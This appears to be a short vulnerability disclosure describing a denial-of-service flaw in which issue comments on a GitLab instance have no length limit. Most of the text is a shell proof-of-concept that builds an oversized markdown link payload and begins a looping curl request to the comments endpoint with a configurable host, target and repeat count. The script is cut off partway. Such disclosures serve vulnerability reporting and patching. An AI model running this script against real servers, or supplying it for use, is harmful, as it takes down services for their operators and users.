DoS attack via comment on Issue

Summary There is no limit to the number of characters in the issue comments, which allows a DoS attack. The DoS attack affects both server-side and client-side.

#!/bin/sh
charBlock=$(head -c 50000 /dev/zero | sed -e 's/\x00/\/a/g')
payload='[a]('$charBlock')'

gitlabHost=$1
ProjectURL=$2
targetID=$3
loop=$4

curl=`cat << EOS
curl
  --insecure
  --silent
  --output /dev/null
  ${ProjectURL}/notes?target_id=${targetID}\&target_type=issue
  --header 'Host: …